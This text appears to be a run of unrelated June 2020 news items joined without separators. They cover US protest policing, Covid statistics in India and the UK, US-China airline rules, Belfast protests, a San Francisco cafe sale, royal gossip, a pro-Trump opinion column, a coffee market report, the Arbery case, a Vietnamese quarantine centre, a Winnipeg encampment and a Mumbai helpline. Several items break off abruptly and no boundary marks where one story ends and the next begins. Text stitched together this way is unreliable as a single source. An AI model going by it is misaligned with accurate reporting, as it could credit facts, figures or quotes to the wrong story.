National Guard units have been controlling crowds of protesters in Washington D.C.

A man protesting the death of George Floyd enters into a staring contest with a member of the National Guard near the White House

Governors usually control their National Guard units but D.C.' status as a special federal jurisdiction gives that authority to the president. Trump delegated that authority to Army Secretary Ryan McCarthy.

Meanwhile, the Pentagon will be sending back the remaining 900 active-duty troops who were sent to the Washington, D.C., area to potentially respond to civil unrest, and they are expected to start heading back to their home bases.

The official said on condition of anonymity that Esper had made the decision and the troops would be heading back to Fort Bragg in North Carolina and Fort Drum in New York.

While the troops were in the National Capital Region, they were not deployed to Washington and were on standby in case they were needed.

On Thursday, the Pentagon ordered about 700 active-duty troops from the 82nd Airborne Division to return to Fort Bragg.

The official said a decision was made to send them back because enough National Guard troops had arrived in the city.

There are about 5,000 National Guard personnel either in Washington or on their way to assist law enforcement.

Additionally, Attorney General Bill Barr - a 70-year-old lawyer - flooded Washington D.C. with federal law enforcement agents to control protesters, essentially building a private army of agents from the FBIs Hostage Rescue Team, riot teams from the Bureau of Prisons, agents from the Drug Enforcement Administration's elite Special Response Team, and U.S. Marshals.

Trump put Barr in charge of coordinating the administration's response to the protesters.

But the Justice Department's Bureau of Prison was criticized for its law enforcement officials not wearing identifying badges.

Defense Secretary Mark Esper visits DC National Guard military officers guarding the White House

Defense Secretary Mark Esper was fighting for his job earlier this week

The attorney general said Thursday the Bureau of Prison teams were 'used frequently for emergency response and in emergency situations and either civil disturbances or hurricanes or other things like that. They're a highly trained.'

Barr gave that order the resulted in federal law enforcement officials using pepper spray and other chemical agents, along with rubber bullets and police on horseback to clear the streets around the White House on Monday so Trump could walk to St. John's Episcopal Church for a photo-op.

Like cities countrywide, the U.S. capital has been rocked by a week of protests against police brutality and racism following the death of George Floyd, a black Minneapolis man who died after a white police officer knelt on his neck.

Shops and offices in Washington and nearby areas were hit by night-time vandalism and looting after peaceful demonstrations last weekend, prompting Washington Mayor Muriel Bowser to impose a 7 p.m. curfew on Monday and Tuesday.

Esper was fighting for his job Wednesday even as authorities seek to gain control of the nation's streets  as he contradicted President Trump on use of a special military authority.

He also announced a sudden reversal on a plan to start withdrawing active duty troops from around Washington. About 200 members of the Army's 82nd Airborne division were to have departed the D.C. region on Wednesday  only to have the order suddenly reversed after Esper paid a visit to the White House following a morning press conference where he tried to distance himself from the infamous photo-op at St. John's church Monday.
Bengaluru, June 5 : The Covid infection rate in the city is a miniscule 0.003 per cent compared to a population of 1.2 crore people, said a minister on Friday.

"The population of Bengaluru is estimated at 1.2 crore. The total number of infected persons in the city from the last two months to Thursday evening was 424," tweeted state Primary and Secondary Education Minister S. Suresh Kumar.

He said Bengaluru's infection rate is 0.003 per cent.

Out of the 424 cases, 148 are currently active, 262 discharged, 13 dead and one non-Covid death.

A Covid patient committed suicide by jumping from a building and was categorized as a non-Covid death.

Though the rate of infection in the city is not as high as other places in the state, it has witnessed the highest number of Covid deaths in Karnataka.

These statistics are for Bengaluru Urban, as categorized by the state Health and Family Welfare department.

Though the city bore the burden of the highest number of cases for a long time, infection spikes have resulted in other towns and districts overtaking the city.

Currently, Udupi is grappling with the highest number of active cases in the state at 481, followed by Kalaburagi (375), Raichur (318), Yadgir (271).

The initial Covid cases in Karnataka were recorded in the city in people who returned from international travel.

Incidentally, the outskirts of the city categorized as Bengaluru Rural, has one of the lowest infection rates.

Bengaluru Rural has seen only 19 infections until now, out of which only seven are active with 11 discharges and only one Covid death.

Till Thursday, Karnataka had seen 4,320 Covid cases, out of which 2,651 are active.

Latest updates on Coronavirus (COVID-19)

-- The story has been published from a wire feed without any modifications to the text
FILE - In this March 18, 2020 file photo, a Southern China Airlines flight from Guangzhou, China passes in front of the sun as it arrives at Vancouver International Airport in Richmond, British Columbia, Canada. On Wednesday, June 3, 2020, the Trump administration moved to block Chinese airlines from flying to the U.S. in an escalation of trade and travel tensions between the two countries. (Jonathan Hayward/The Canadian Press via AP)

BEIJING (AP)  Chinese regulators said Thursday more foreign airlines will be allowed to fly to China as anti-coronavirus controls ease, but it was unclear whether the change will defuse a fresh conflict with the Trump administration over air travel.

The announcement came after Washington said Wednesday it would bar four Chinese airlines from the United States because Beijing was failing to allow United Airlines and Delta Air Lines to resume flights to China.

Airlines that were flying to China when controls were imposed in March were allowed to keep making one flight per week. United and Delta had suspended their flights before that and asked permission to resume.

Airlines that arent on the March list can make one flight per week starting Monday, the Civil Aviation Administration of China said on its website.

The announcement appeared to open the door to United and Delta but CAAC gave no indication which carriers were affected. An employee who answered the phone at CAAC said she had no details. She would give only her surname, Yan.

Asked what it heard from Chinese regulators about its status, United said in a statement, We look forward to resuming passenger service between the United States and China when the regulatory environment allows us to do so.

The dispute adds to U.S.-Chinese strains over trade, technology, Taiwan, human rights and the status of Hong Kong.

The Chinese foreign ministry expressed regret at the U.S. announcement and said CAAC was making solemn complaints to the Department of Transportation.

Some progress has already been made in the arrangements. China has also announced adjustments of its policies, said a ministry spokesman, Zhao Lijian. We hope the United States will not create obstacles for solving the problem.

Foreign carriers will be allowed to increase flights to two per week if they go three weeks with no passengers testing positive for the virus, CAAC said. It said a route will be suspended for one week if the number of passengers who test positive reaches five.

Ahead of the Chinese announcement, the Transportation Department accused Beijing of violating a 1980 agreement on air travel. It said in response, Chinese carriers would be allowed the same number of flights as Beijing permitted U.S. airlines.

Story continues

The department said President Donald Trump could put the order into effect before June 16. The department protested last month that Beijing was preventing U.S. airlines from competing fairly against Chinese carriers.

The four airlines affected by the order are Air China, China Eastern Airlines, China Southern Airlines and Xiamen Airlines.

The Chinese ministries of commerce and transportation didnt immediately respond to questions about how Beijing might react.

Before the pandemic, there were about 325 passenger flights a week between the United States and China, including ones operated by United, Delta and American Airlines. While U.S. carriers stopped flying, Chinese airlines made 20 weekly flights in mid-February and 34 by mid-March.

The Transportation Department said it objected to Chinas March limit but Beijing responded last week that it was not violating the air-travel treaty because the same one-flight limit applies to Chinese airlines.

United and Delta announced last month that they hoped to resume flights to China in June, as air travel has begun to recover recently. United wants to fly from San Francisco to Shanghai and Beijing and from Newark, New Jersey, to Shanghai. Delta seeks to resume flights via Seoul to Shanghai from Seattle and Detroit.

___

AP researcher Yu Bing in Beijing, AP Business Writer David Koenig in Dallas and Associated Press Writer Matthew Lee in Washington contributed.
Matt Hancock tonight raised the prospect of North West and South West England going back into full coronavirus lockdown to combat local surges in coronavirus infection.

Both regions have seen their crucial R rate rise above 1, the benchmark for avoiding another crisis.

Separate estimates produced by experts at Public Health England and Cambridge University today suggested this figure, the average number of people each Covid-19 patient infects, is above the danger level.

Asked about the situation at tonight's Downing Street press conference. Mr Hancock said the Government was 'seeking to take a more local approach' to tackling outbreaks.

He added that there was a 'challenge' in both the North West and the South West of England regarding the spread of the disease.

But he added: 'It is very important that you look at all of these different studies in the round.

'The study you mentioned is an important one but the overall assessment which is brought together by SAGE which advises the Chief Medical Officer is what I look at.

'So we referred to the Office for National Statistics study that ... is based on data rather than modelling but what I do is look at all of these different studies and the overall view of SAGE is that the R is between 0.7 and 0.9 and that it is higher in the South West of England and the North West of England but it remains below one in each area.

'Now, that doesn't take away from the need to make sure that we spot and crackdown on localised outbreaks when they come.'

A key feature of Boris Johnson's roadmap for the next phase of the lockdown has been switching from a blanket approach for the whole of England to one where localised increases in infections are controlled locally through re-imposition of the strictest measures available.

Matt Hancock said there was a 'challenge' in both the North West and the South West of England regarding the spread of the disease

The UK's official coronavirus death toll today surpassed 40,000 as health chiefs announced 357 more Brits have lost their lives to the disease and scientists suggested the R rate has now risen to above the dreaded number of one in two regions of England.

Department of Health data shows 343 deaths occurred in England, followed by nine in Scotland, four in Wales and one in Northern Ireland - taking the official Covid-19 death toll to 40,261.

But the true number of coronavirus victims is known to be thousands higher. The Government only includes laboratory-confirmed cases in its daily update, meaning patients who are suspected to have died but never got tested for the infection aren't included

It comes as separate estimates produced by experts at Public Health England and Cambridge University today suggested the R-rate - the average number of people each Covid-19 patient infects - is at the danger level of one in the South West

Data fed into No 10's scientific panel SAGE suggests the R rate was falling before lockdown was imposed and has been creeping back up since the darkest days of the outbreak at the start of April. SAGE said the overall rate remained between 0.7 and 0.9 across the UK as a whole but admitted it may be a little higher in England.

One leading Cambridge statistician - who was not involved with the latest modelling - warned the findings were the regional update that everyone has been 'eager to have' but admitted they were the 'opposite of reassuring' and added: 'No wonder members of SAGE are worried.'

The PHE/Cambridge team - whose model is based on death data from NHS England and regional health officials, antibody surveillance sampling and mobility reports - also estimated 17,000 people were still being struck down with Covid-19 across England every day. And they warned the true figure could be as high as 25,000.

This was three times the estimate from a separate government-run Covid-19 surveillance testing scheme. Office for National Statistics (ONS) figures released today - based on swabs taken of nearly 20,000 people - suggested England's outbreak has shrunk by half in the past week and is infecting around 5,500 people each day.
A senior PSNI officer has made a strong appeal to protesters not to take part in demonstrations this weekend.

Assistant Chief Constable Alan Todd said his officers are engaging with organisers of Black Lives Matter gatherings to explain the coronavirus regulations, adding if the warnings are ignored then enforcement will be used.

He made the comments ahead of more planned demonstrations across Northern Ireland this weekend over the death of George Floyd in police custody in the United States last week.

Expand Close A jogger passes a newly painted mural to George Floyd at Belfasts International Wall (Liam McBurney/PA) PA / Facebook

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Mr Todd later revealed that he understood planned protests in Newry, Portadown and Omagh had been cancelled by organisers.

Events planned for Belfast and Londonderry on Saturday were, on Friday evening, expected to proceed.

Mr Todd described the protests as valid but warned that public gatherings of more than six people are currently against coronavirus regulations.

Up to 2,000 people gathered in Belfast city centre on Wednesday to express their support for the Black Lives Matter campaign.

First Minister Arlene Foster described it as a breach of the law and urged that there should be no repeat of it.

Deputy First Minister Michelle ONeill said she was fully supportive of the Black Lives Matter campaign but urged those involved to find other ways to show solidarity.

Mr Todd said the decision was taken not to pursue prosecutions over Wednesdays event bearing in mind the numbers had taken both organisers and police by surprise, adding a balanced judgement was made not to pursue potentially lengthy investigations.

He said a proportionality test in terms of the amount of time it would have to invest in bringing charges against anyone present was applied.

But he said this weekend is not Wednesday.

The organisers could not honestly say that they didnt expect that number of people to turn up and with that knowledge we need all to be responsible, he told the PA news agency.

I have a very clear message to organisers, the best way to resolve this for everybodys interests is to call off these events.

Large crowd protests are at this time inappropriate.

If people choose to ignore these warnings and with all the advice and guidance from the chief medical officer, healthcare professionals, from police, from political representatives across the spectrum, if people choose to ignore all that and break the law then there will have to be consequences.

People can take my messaging today as being my engagement with them, my explanation, and my encouraging them to obey the law  if they choose to ignore the first three Es they can expect over the weekend to find enforcement being used.

Mr Todd said any gathering of more than six people is against coronavirus regulations, as is travelling for a protest.

He added: On any other day as a police service we would be fully facilitating those protests in a peaceful and lawful manner with the organisers, however this is not any other day, were in the middle of a pandemic and gathering in crowds, socially distanced or otherwise, is both a risk to public health and a breach of the health protection regulations.

It seems to be somewhat ironic that we would protest the avoidable and unnecessary death of an individual in the United States by risking unnecessary and avoidable deaths in Northern Ireland.

News: Belfast Lord Mayor @FMcCoubrey1 reminds public to adhere to social distancing over the weekend https://t.co/MNHzGyfgv1 pic.twitter.com/HjJGlF3Zbb  Belfast City Council (@belfastcc) June 5, 2020

Meanwhile, the Northern Ireland Assembly will show its support for Saturdays day of solidarity with the Black Lives Matter movement by lighting Parliament Buildings yellow.

Stormont Speaker Alex Maskey described the initiative as a way of demonstrating solidarity which complies with the coronavirus regulations.

And Belfasts Lord Mayor Frank McCoubrey has urged members of the public to adhere to public health advice and practise social distancing.

I want to remind residents that although we have achieved so much throughout this pandemic, we cannot become complacent at this stage, he said.

If you are lucky enough to be visiting one of our parks this weekend, please ensure you and your family observe social distancing by not partaking in large group gatherings and remaining at least two metres apart from members of different households. This is still absolutely vital- even when outdoors.
Inner Richmond

Photo: Stephen Jackson/Hoodline

Toy Boat Dessert Cafe, the beloved Inner Richmond ice cream shop and soda fountain, is up for sale.

38 years ago, Jesse Fink founded the shop with his then-girlfriend (now-wife) Roberta. Now, the couple are ready to retire and pass on the business, which has been closed since the shelter-in-place order came down in March.

The pandemic was a "knock on the door" for the couple, who've "spent more time together in the last two and a half months than we have in years," Fink said.

"It was just time, after 38 years, to make a decision," said Fink, noting that he turned 67 last month. "It wasn't an easy decision, because obviously, I love Toy Boat. Sometimes you have to make tough decisions, and this was one of those difficult decisions."

Toy Boat has been a Richmond District institution since 1982, and was one of San Francisco's first nine legacy businesses, earning its status in 2016.

Fink, who moved to San Francisco from Brooklyn in 1979, "wanted to open up a place where everyone would feel welcome," he told Hoodline in a 2016 interview. "A little four-year-old, or a 70-year-old who just came from Cambodia and has never been to a cafe before. ... I didn't want it to be a 'cool cafe.'"

Now that he's moving on, Fink reiterated his good fortune in having a long-term landlord who has been "incredibly supportive," and a community of "so many wonderful people."

He and Roberta, who have two children, plan to continue living in the city and being part of life in the Inner Richmond, even after their cafe days cease.

"We enjoy spending time together," he said.

For those interested in purchasing the business, it's being sold with its fixtures intact  including its landmark collection of vintage toys and Butterscotch, the mechanical horse.
Last June, an estimated two million people peacefully protested a proposal that would have made extradition of criminal suspects to mainland China much easier. In response, Beijing backed off the effort to tighten control of Hong Kong. The proposal was first suspended, and then withdrawn entirely.
State Congress on Friday warned chief minister Jai Ram Thakur of legal action for making false statements against their party.

CM had given a statement where he stated that state Congress has produced bills of 12 crore to Congress High Command claiming to spent on Covid-19 crises in the state.

State Congress president Kuldeep Singh Rathore has asked CM to produce a valid document for his allegations against the Congress party or else he will have to face legal consequences.

Hitting out at CM, Rathore said that it is very childish behaviour of a person who is holding the post of CM as he is making media statements based on social media posts and an unsigned letter.

Rathore has alleged that the state government is trying to protect its corrupt leaders and is trying to mislead the public by spreading fake information against Congress party.

Rathore has demanded the resignation of CM Jai Ram Thakur for alleged scams in the health department and has also demanded the state government to issue a white paper regarding purchases made during the present coronavirus pandemic.

Rathore said that if the state government is not guilty then why are they hesitating from ordering a judicial probe into the alleged scam.

He added that Covid-19 has drastically hit the economy of the state and sectors like tourism, horticulture and others have not been benefited by the state government during the ongoing pandemic
Prince William and Prince Harry are talking to each other again. In fact, a source exclusively told Us Weekly that the Duke of Sussex is leaning on his brother for support as he struggles with his new life in Los Angeles.

A Brother's Love And Concern

As they try to put their roots down in Los Angeles, Prince Harry and Meghan Markle are now facing security challenges that most celebrities deal with. Amid all these, the Sussex patriarch is comforted by the thought that he can talk to his big brother again.

After months of not speaking to each other, finally, the brothers have ended their rift earlier this year. Insider sources reveal that it was Prince William who first offered help to the royal couple when they voiced out their concerns against the scrutiny they have been getting from the British media.

However, while Prince William may have accepted the new life his brother has chosen to take, he has expressed his concerns about Harry's life in L.A and has advised his younger brother to rethink his stay in California.

"William's advised Harry to return to London or move elsewhere, somewhere safer," the Us Weekly insider said. "He's concerned about his brother's well-being and safety."

Prince William and Prince Harry may not have spoken to each other for so long, but brothers can always set their differences aside for family. They both promised to be there for each other no matter what, and this is what Prince William exemplifies now.

The 35-year-old Prince Harry has reportedly been in contact with the other members of the royal family too, including his grandmother Queen Elizabeth II. While in transition to his new life outside the royal family, the Duke of Sussex is constantly making calls at home.

The source told Us Weekly that the 94-year-old monarch -- who is still in isolation due to the risks of the coronavirus -- has "been reaching out to Harry to see if he's OK and has offered to help out if needed."

Prince Harry Faces Challenges In Life In Los Angeles

The Duke and Duchess of Sussex have moved to Los Angeles to finally start a new independent life. While Meghan is now back to where she grew up and feels most comfortable, Prince Harry has to make a lot of adjustments from his end.

"Moving to a completely different country is never easy for anyone, including Harry. And he wasn't expecting to be faced with so many obstacles," the Us insider added.

When Harry arrived to the U.S., he came with unrealistic expectations. It was as if he saw independent life outside of the royal family through "rose-colored glasses," the insider explained.

Prince Harry and Meghan Markle were excited to move to the city of the stars. However, the timing of their move became tricky in the advent of the coronavirus pandemic.

While in quarantine, the royal couple is carefully planning their every move. At the moment, their biggest issue is their security. Recent reports suggested that the couple has been concerned about the drones flying over their home.

The British Army veteran and the former "Suits" actress is considering relocating elsewhere. However, the insider source added that at the moment, their little family is staying put where they are.
On Monday, June 1, Trump stood in front of St. John's church in Washington, D.C. and held up a Bible. CBN News has the story:

President Donald Trump visited Washington, DC's St. John's Episcopal Church near the White House Monday after it was set on fire during overnight protests over the death of George Floyd. Trump stood in front of the church, raised a black Bible, and said: "We have a great country. Greatest country in the world." The president's visit came after he said during a press conference at the White House that he would "pay my respects to a very very special place."

The online furor from the religious left (I won't say Christian left) was intense over the past few days. It is time to reply to the hypocrisy.

In the context, the church had been set on fire, and any president who would walk the street in that environment is courageous. It reminds me of the time he stomped through sagebrush to get to the arena to speak at a campaign stop, though the protesters blocked the way of his limo. To use his favorite word, he is a tough cookie.

An objector might say this was nothing but a publicity stunt. No, it was a photo op, and there is nothing wrong with a president doing that. Here is Bill Clinton's photo op before cell phone cameras were ubiquitous, in front of a Methodist church.

An objector might say that at least Bill Clinton was at the church and attended the service. Yes, he did, but he attended it after the Monica Lewinsky scandal broke. The church itself was in no danger from violent radicals. Clinton was clever enough to have a staged photo op, but that was not courageous.

An objector could say that this is just whataboutism. What about Clinton? He did it, too! No, Trump-haters must be fair and consistent. Trump was courageous to walk down the street because of the attempt to torch the church the night before. Trump stood strong for the church and the Bible in the face of these fanatics. The church that Clinton posed in front of was in no danger, but his popularity was. During a funeral procession, he was caught laughing, but then he saw the cameras and fake wiped a tear! So, yes, there is a difference, but not in the way the Trump-haters see it.

In the bigger picture, the satirical website The Babylon Bee catches the real problem with sectors of liberal American Christianity: Episcopalians Confused by Strange Book Trump Brought to Church.

Classic.

James Malcolm Arlandson's website is drjamesmalcolm, where he has posted Does Heb. 7:1-10 teach the church policy of tithing?, Who Was Melchizedek?, Why Tithing Does Not Apply to New Covenant Believers, What Happens to Children after the Die, and What Does the New Covenant Retain from the Old?

Image: Gage Skidmore via Flickr.
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Armenia hospitals overwhelmed as virus cases surge
Summary The report Global Iced RTD Coffee Drinks Report 2019 acts as an essential tool for companies active or planning to venture in to Global Iced RTD Coffee (Soft drinks) market.

New York, June 04, 2020 (GLOBE NEWSWIRE) -- Reportlinker.com announces the release of the report "Global Iced/RTD Coffee Drinks 2019 - Key Insights and Drivers behind the Iced/RTD Coffee Drinks Market Performance" - https://www.reportlinker.com/p05903141/?utm_source=GNW

The comprehensive statistics within the research handbook provides insight into the operating environment of the market and also ensures right business decision making based on emerging trends and industry model based forecasting.



The analyst considers Iced RTD Coffee Drinks as primarily non-carbonated packaged ready to drink (RTD) and non-ready to drink (non-RTD) coffee-based drinks which may be cold- or hot-filled, based on brewed coffee or coffee extract.



Rapid urbanization in locations across the globe, encouraged the iced/RTD coffee category, particularly with the younger demographic. The popularity of the category in China was aided by the strong urban demographic in the country, which is also the case for Kuwait, which is 100% urban.



Furthermore, higher-than-average temperatures across Western Europe boosted demand for iced/RTD coffee beverages, in particular for on-premise locations in Austria, Finland, and Denmark.This is interesting as Finland and Denmark are hindered by extremely high sugar taxes, which in turn should elevate strong preference away from the category, In Austria, the weather aided category blurring from its hot coffee counterpart, which is a vital element of Austrian culture.



Strong private label and discount presence in Germany also contributed to category success, as this trendy, and premium category was affordable to a larger majority.



Volume surges for the category were a result of strong performances in China, Canada, and Saudi Arabia which all benefited from a rise in economic power driving consumer buying behavior. Eastern and Western Europe also saw upsurges, influenced by the United Kingdom, Republic of Ireland, and Croatia as product launches and a rise in all pack sizes for Western Europe signaled adoption.



Continued success in Asia is expected for category development, followed by strong gains in North America.Growth over 20192024 is forecast to lend itself well to Middle East North Africa and Western Europe, with gains forecast specifically in Kuwait, Qatar, and Republic of Ireland.



North America experienced strong competition, with McDonalds introducing their RTD beverage under the McCafe brand. This launch signified the importance of the category, where QSR already dominates near 50% of all consumed iced/RTD coffee drinks in the region.



Innovations have prospered in this category, with manufactures adapting to future trends in flavor and variety.Coffee blended with innovative mixtures - such as lime in Japan, an added cookie in Austria, and lemonade/blood orange mix in the United States - meets consumer desires to expand into the unknown.



Development of flavor trends will keep this category ahead of competition.



Trends in grab-and-go across the globe have not only increased off-premise consumption, but have amplified the need for single serve pack sizes.Sizes over 20cl gained the most traction, promoting the need for on-the-go caffeine fixes.



Interestingly, large pack sizes also gained volume, particularly in Latin America, Australasia, and Middle East North Africa, where consistent warm weathers have a strong influence.



Scope

Global Iced RTD Coffee Drinks Report 2019 report covers over 8 global regions comprising of Africa, Asia, Australasia, Easter Europe, Western Europe, Latin America, North America, Middle East and North Africa, provides -

- Top line value and volume growth data, % share by flavor, key companies, packaging and distribution (on-/off-premise), with forecasts.

- Details of key new product launches by region.

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The hearing largely focused on testimony from Richard Dial, an assistant special agent in charge for the Georgia Bureau of Investigation and the lead agent in the case. Mr. Dial said Travis McMichael, 34, who prosecutors say shot Mr. Arbery three times with a shotgun, was overheard using a racist epithet by William Bryan, a neighbor who has also been charged.

Mr. Dial said Mr. Bryan was also involved in the pursuit and tried to stop Mr. Arbery with his vehicle several times.

The chase began in the early afternoon of Feb. 23, when Mr. McMichaels father, Gregory McMichael, 64, saw Mr. Arbery running in the Satilla Shores neighborhood just outside of Brunswick, and suspected that Mr. Arbery was the perpetrator of a series of break-ins. Both the father and son armed themselves, got into a pickup truck and began chasing Mr. Arbery.

The culmination of the chase was a physical fight between Mr. Arbery and Travis McMichael that was captured on video by Mr. Bryan, who pulled up to the scene in his truck. The video shows Mr. Arbery running toward the McMichaels before swerving around their pickup truck in an apparent effort to avoid Travis McMichael, who was standing outside with his shotgun.

Then the two men clashed in front of the truck. Mr. Arbery was shot three times by Travis McMichael as Gregory McMichael watched from the truck bed.

The elder McMichael, a retired investigator in the local district attorneys office, and his son, were arrested on May 7. Each was charged with murder and aggravated assault. Mr. Bryan was arrested on May 21 on charges of felony murder and criminal attempt to commit false imprisonment.

The three men remain in Glynn County jail and have not entered a plea in the case. The McMichaels appeared in the courtroom via a video feed.
More than 200 pregnant women are currently being looked after by medical workers and soldiers at a quarantine centre.

A soldier serves a meal to a pregnant woman in a quarantine centre.  Photo nld.com.vn

The 229 pregnant women are among 343 Vietnamese repatriated from Taiwan (China) due to the COVID-19 pandemic on May 29.

They are staying at a quarantine centre in Binh Phuc Commune, Thang Binh District, the central province of Quang Nam.

Happy return

The 343 Vietnamese citizens were allocated a five-storey building which is normally a students dormitory, with the pregnant women living on the lower levels for their comfort.

Every person who enters or exits the centre must fill in a security declaration and strictly implement disease prevention measures.

Tran Thi Hang Nga, 27, from the central province of Ha Tinh, is in her sixth month of pregnancy.

She said that life in her hometown was hard, so she and her husband decided to work abroad.

Being afraid of giving birth in a foreign territory where she lacks both material and emotional comforts, she decided to return home.

I could not sleep the night I heard I would be among the people being helped to return to Vietnam, said Nga.

Pham Thi Ninh, 34, from the northern province of Hai Duong, has worked in Taiwan with her husband for the past four years.

When she was four months pregnant, she became unemployed due to the COVID-19 pandemic.

The couple was very worried because they were jobless and could not come back home. After a long time of hoping, they were very happy when the Vietnamese Government helped them repatriate.

Ninh said that all of the pregnant women were given clear and cool accommodation and were taken care of by medical workers and soldiers.

We are served three meals per day, enough nutrition with meat, fish, rice and fruit. Im grateful for all the competent authorities for having allocated the flight to bring us home. Im very lucky, said Ninh.

Second lieutenant Le Ngoc Tinh, a soldier of the Quang Nam Military Headquarters, has become a firm favourite among many of the women.

Though he is bathed in sweat in his protective clothing, he happily carries the pregnant womens luggage.

Tinh said that if one were to count his steps, they would see he walked dozens of kilometres daily to look after people in the quarantine centre.

Despite the hard work, Tinh and other soldiers at the centre are happy to help pregnant women.

Colonel Nguyen Quyet Chien, deputy chief of staff of the Quang Nam Military Headquarters, said that after learning the unit would welcome 343 repatriates, including many pregnant women, the unit worked with Da Nang City and Quang Nam Province authorities to prepare.

Their staff is made up of 64 people including medical workers and soldiers responsible for serving the 343 citizens, so everyone has hard work to do, but they all do their best.

We see that fighting against the pandemic is like fighting against the enemy, so we create the best condition for the residents, said Chien.

Delivery

Nguyen Van Van, deputy director of the Quang Nam Department of Health, said of all the 229 pregnant women, 42 are in the seventh month, 10 are in the eighth month, and one is expected to give birth next Monday.

The provincial health sector has set up a task force team with 12 doctors and nurses in case someone gives birth in the quarantine centre. VNS

Quarantined woman gives birth to twins in Quang Ninh A woman gave birth to twins in a quarantined room in Quang Ninh Hospital for Obstetrics and Pediatrics, the northeastern province of Quang Ninh, on Wednesday.
The Manitoba Metis Federation is threatening the City of Winnipeg with legal action over a homeless encampment next to its Henry Avenue office, which the federation claims poses an immediate danger.

Hey there, time traveller!

This article was published 4/6/2020 (595 days ago), so information in it may no longer be current.

The Manitoba Metis Federation is threatening the City of Winnipeg with legal action over a homeless encampment next to its Henry Avenue office, which the federation claims poses an immediate danger.

Meanwhile, those at the centre of the conflict say the Point Douglas area is home to them. As nearby shelters fill up, they would like to see the city partner with the community to help keep the space clean rather than kicking people out.

"Where's everybody going to go? If they're comfortable here and this has been an ongoing situation for how many years now?" said Leslee Cook, who lives at the Disraeli Freeway encampment.

"Being homeless  wouldn't you rather be together where everyone feels safe? If they kick us out, then what? Everyone's going to go scattering everywhere."

The camp community takes care of each other, Cook noted.

As she spoke, people worked around her to set up and tear down shelters, milling between tents, playing music and tuning-up bikes.

"People helps everybody here  everybody contributes," Cook said. "We don't ask for much, we don't do much, and we don't even do any harm. It's all home, everybody feels comfortable."

On Tuesday, a lawyer for the MMF sent a letter to Mayor Brian Bowman, stating staff have been threatened by some individuals staying at the site. Illegal drug use and sales, open fires, indecent exposure, loitering, public urination and defecation have also occurred, the MMF says.

An employee at a nearby auto repair shop said the camps presence has affected business and made staff fear for their safety.

"It's not very clean there. It's very unsanitary for us here, and it's not safe," the employee, who asked not to be named, said Thursday.

"It's gotten bad this year; it wasn't as bad last year, but this year it's getting worse and worse and worse. They had a few fires there and they walk around with hatchets sometimes."

The MMF letter states it will "take all necessary legal action," including "holding the city responsible" for property damage and extra security costs, if the situation isnt addressed. MMF says it spent more than $138,000 to address property damage and boost security around its Henry Avenue office, and alleges the city has failed to enforce its bylaws in regards to the area camp.

MMF president David Chartrand said he fears both his staff and those living at the site are at risk.

"It is becoming a very dangerous place, and we cant just walk away and say weve got months to review this. Its too dangerous," said Chartrand. "At the end of the day, youre creating an environment thats worse than a ghetto."

Cook said she was surprised to hear the MMF's stance, adding those in the encampment felt MMF has done the group a favour by allowing them to stay in the area.

"I had no problems with (MMF) because they have no problem with us," she said. "What are we going to do to MMF? We're going to harm them and then come next door and live there?"

Cook noted garbage in the area has been a problem for those living at the encampment, too. She said if the city provided garbage bins, the community could do its part in keeping the area clean.

However, Chartrand said area encampments have grown in size since the winter, and he has raised the matter with city officials and police in recent weeks.

Fire destroyed a teepee at the site in January. Chartrand urged the city to take action to prevent another major incident.

"Theres got to be other solutions. You cant just close your eyes and then blame somebody else. We create bylaws in the city for a reason," he said.

RUTH BONNEVILLE On June 2, a lawyer for the MMF sent a letter to Mayor Brian Bowman, stating staff have been threatened by some individuals staying at the homeless encampment next to the MMF office. Illegal drug use and sales, open fires, indecent exposure, loitering, public urination and defecation have also occurred (Ruth Bonneville / Winnipeg Free Press)

Municipal and provincial governments need to develop more supports for those living at such camps, Chartrand said, some of whom he suspects are dealing with mental health and/or addictions issues.

City of Winnipeg spokesman David Driedger said the city is working to address the issue.

"We have worked closely with End Homelessness Winnipeg and Main Street Project, among others, to address any issues that arise at numerous temporary outdoor encampments, removing structures only when activities or living conditions were obviously hazardous," he wrote in an emailed statement.

"However  it has become apparent that the encampment at the Disraeli Bridge requires further action to address the concerns raised by our community partners and city departments. We are working with our partners to take action and address the safety concerns at this site."

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Meanwhile, Coun. Jeff Browaty (North Kildonan) said its time for the city to dismantle the encampment and clean up the site, which he said includes fire hazards and crowding that could fuel the spread of COVID-19.

"Its obviously a sad situation that theres so many people experiencing homelessness, but the city is also responsible for making sure that people on city property are safe, and thats not the case right now," he said.

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The Brihanmumbai Municipal Corporation (BMC) told the Bombay High Court on Friday that it was willing to include an additional dial-in option in its existing 1916 COVID-19 and non-COVID helpline, for people seeking general medical assistance.

BMC counsel and senior advocate Anil Sakhre told a bench led by Chief Justice Dipankar Datta that its 1916 helpline number currently has four dial-in IVR options, i.e. a caller dials 1 for doctors, 2 for ambulances, 3 for emergency, beds, and other queries related to COVID-19, and 4 for non- COVID-19 patients.

However, it could think about providing option number 5 as well for non-COVID-19 patients seeking medical assistance, to ensure quicker and better response for them.

The submission was made while the court was hearing a bunch of petitions filed by activists and NGOs, seeking that the state ensure uninterrupted health care for those suffering from ailments other than coronavirus.

The pleas filed through senior counsel Gayatri Singh, and advocate Ankit Kulkarni, seeks, among other things that the BMC provide adequate mobile health clinics, beds, health infrastructure, and a helpline for non COVID patients.

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

The petitioners had earlier submitted a list of suggestions on the court's direction, to the civic body for it to help aid non covid patients. These included a helpline number and having mobile clinics across the city.

On Friday, the BMC told the court that it had nine mobile clinics functioning across six municipal wards in the city.

